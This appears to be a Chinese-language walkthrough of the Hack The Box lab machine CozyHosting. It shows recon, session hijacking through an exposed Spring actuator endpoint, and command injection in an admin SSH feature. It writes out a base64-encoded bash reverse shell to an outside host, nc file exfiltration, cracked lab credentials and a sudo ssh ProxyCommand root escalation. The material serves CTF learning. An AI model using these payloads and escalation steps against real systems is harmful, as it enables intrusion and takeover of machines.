信息搜集

nmap

1
2
3
4
5
6
sudo nmap -p- -sT --min-rate  3000 10.10.11.230

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

dirsearch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
dirsearch -u http://cozyhosting.htb/   

[19:30:12] 200 - 0B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js
[19:30:18] 200 - 634B - /actuator
[19:30:18] 200 - 5KB - /actuator/env
[19:30:19] 200 - 48B - /actuator/sessions
[19:30:19] 200 - 10KB - /actuator/mappings
[19:30:19] 200 - 15B - /actuator/health
[19:30:19] 200 - 124KB - /actuator/beans
[19:30:19] 401 - 97B - /admin
[19:30:36] 200 - 0B - /engine/classes/swfupload//swfupload.swf
[19:30:36] 200 - 0B - /engine/classes/swfupload//swfupload_f9.swf
[19:30:36] 500 - 73B - /error
[19:30:37] 200 - 0B - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[19:30:37] 200 - 0B - /extjs/resources//charts.swf
[19:30:39] 200 - 0B - /html/js/misc/swfupload//swfupload.swf
[19:30:41] 200 - 12KB - /index
[19:30:43] 200 - 4KB - /login
[19:30:43] 200 - 0B - /login.wdm%2e
[19:30:43] 204 - 0B - /logout

寻找漏洞

在dirseach中的/actuator/sessions 发现泄露了用户名和其session

1
98CE8721F7394050CE8CC45241821BAD	"kanderson"

访问admin,用泄露的session尝试登陆,可以成功登陆

1
2
3
4
5
6
7
8
9
GET /admin HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=98CE8721F7394050CE8CC45241821BAD
Upgrade-Insecure-Requests: 1

其中存在一处连接ssh的功能,这里存在rce漏洞

利用漏洞

经过测试发现对host和username均做了过滤处理,但是在username处只是不能包含空格,可以使用%0a和%09等URL编码绕过空格过滤。;username这里存在rce,但是不会有回显;但是可以给这条命令加上反引号导致回显(会将uid=1001(app)当作命令执行),这有点像报错回显的感觉

HTTP 头中的 Location 字段用于指示客户端应该重定向到的 URL。当服务器返回带有 Location 头的响应时,客户端会自动重定向到指定的 URL。这通常用于实现页面重定向或者在需要时将客户端引导到另一个位置。Location 头通常与状态码 3xx(重定向)一起使用,以便告知客户端应该采取重定向操作。

于是构造payload反弹shell。(这后台还必须加一个分号才能反弹成功)

1
2
3
bash -i>& /dev/tcp/10.10.16.45/5555 0>&1
{echo,YmFzaCAtaT4mIC9kZXYvdGNwLzEwLjEwLjE2LjQ1LzU1NTUgMD4mMQo=}|{base64,-d}|bash;
%7Becho%2CYmFzaCAtaT4mIC9kZXYvdGNwLzEwLjEwLjE2LjQ1LzU1NTUgMD4mMQo%3D%7D%7C%7Bbase64%2C-d%7D%7Cbash;

user-app

1
2
app@cozyhosting:/app$ ls
cloudhosting-0.0.1.jar

cloudhosting-0.0.1.jar文件下载下来

1
2
3
4
5
6
方法一
nc -nv 10.10.16.45 8888 < cloudhosting-0.0.1.jar
nc -lvvp 8888 > cloudhosting-0.0.1.jar

方法二
python3 -m http.server

将文件用jd-gui反汇编,可以发现一对账号密码

cat /etc/passwd中确实存在postgres用户;尝试ssh登陆一直失败,尝试登陆数据库

1
2
3
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash

psql

netstat -pantu | grep "5432"

netstat -pantu 是一个用于显示系统网络状态的命令。在这个命令中:

  • -p 选项用于显示与进程相关的信息,包括进程 ID 和进程名称。
  • -a 选项用于显示所有的连接和监听端口。
  • -n 选项用于显示数字形式的 IP 地址和端口号,而不进行域名解析。
  • -t 选项用于显示 TCP 连接的信息。
  • -u 选项用于显示 UDP 连接的信息。

因此,netstat -pantu 命令会显示系统上所有的 TCP 和 UDP 连接,以及与这些连接相关的进程信息。

端口 5432 通常用于 PostgreSQL 数据库管理系统。这个端口是PostgreSQL默认的数据库访问端口,用于客户端应用程序连接到 PostgreSQL 服务器。 PostgreSQL 是一个流行的开源关系型数据库管理系统,常用于各种类型的应用程序和网站。

登陆数据库

1
2
3
python3 -c "import pty;pty.spawn('/bin/bash')"
psql -U postgres -h localhost
Password for user postgres: Vg&nvzAQ7XxR

以下是一些常用的 psql 命令:

  1. 连接到数据库:

    1
    psql -U username -d dbname -h hostname
  2. 列出数据库:

    1
    \l
  3. 连接到数据库:

    1
    \c dbname
  4. 列出表:

    1
    \dt
  5. 显示表结构:

    1
    \d table_name
  6. 退出 psql:

    1
    \q

    在本题中敏感信息存放在cozyhosting库中的users表中

1
2
3
4
5
6
7
8
9
cozyhosting=# select * from users;
select * from users;
name | password | role

-----------+--------------------------------------------------------------+-----
--
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admi

爆破admin的密码居然是用户josh的密码,这就有点离谱了;这里直接用ssh可以连接

usr-josh

1
2
ssh josh@10.10.11.230
manchesterunited #输入密码

sudo -l

1
2
3
4
5
6
7
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
(root) /usr/bin/ssh *

(root) /usr/bin/ssh *表示以root身份运行ssh,*表示可以使用任何参数

直接在这个网站寻找sshsudo提权;clink me

最终使用提权命令如下

1
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

补充

这是从cloudhosting-0.0.1.jar的一段代码;这应该就是实现ssh功能,过滤不当产生rce漏洞的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package BOOT-INF.classes.htb.cloudhosting.compliance;

import jakarta.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.regex.Pattern;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class ComplianceService {
private final Pattern HOST_PATTERN = Pattern.compile("^(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\\.?$");

@RequestMapping(method = {RequestMethod.POST}, path = {"/executessh"})
public void executeOverSsh(@RequestParam("username") String username, @RequestParam("host") String host, HttpServletResponse response) throws IOException {
StringBuilder rbuilder = new StringBuilder("/admin?error=");
try {
validateHost(host);
validateUserName(username);
Process process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c",

String.format("ssh -o ConnectTimeout=1 %s@%s", new Object[] { username, host }) });
(new BufferedReader(new InputStreamReader(process.getErrorStream()))).lines()
.forEach(line -> {
if (!line.startsWith("Pseudo-terminal"))
rbuilder.append(line);
});
} catch (IllegalArgumentException exception) {
rbuilder.append(exception.getMessage());
} catch (Exception exception) {
rbuilder.append("ssh: Cannot connect to the host");
} finally {
response.sendRedirect(rbuilder.toString());
}
}

private void validateUserName(String username) {
if (username.contains(" "))
throw new IllegalArgumentException("Username can't contain whitespaces!");
}

private void validateHost(String host) {
if (!this.HOST_PATTERN.matcher(host).matches())
throw new IllegalArgumentException("Invalid hostname!");
}
}

总结

namp搜集开放80端口;dirsearch搜集到/admin路由,/actuator/sessions 路由;/actuator/sessions 路由中泄露了用户kanderson的session,可以用这session登陆到admin;在admin页面处的ssh功能应过滤不当存在rce漏洞,以至于可以反弹shell,得到app用户;又能在app用户中得到cloudhosting-0.0.1.jar,而cloudhosting-0.0.1.jar存在敏感信息;账号:postgres,密码:Vg&nvzAQ7XxR;尝试ssh连接不成功,连接数据库(这里注意是psql,从进程中得到这个信息);在数据库里能找到用户josh的密码:manchesterunited;ssh连接成功,sudo -l发现可以以root身份运行ssh命令,在网上可以找到对应的提权方法,最终拿到root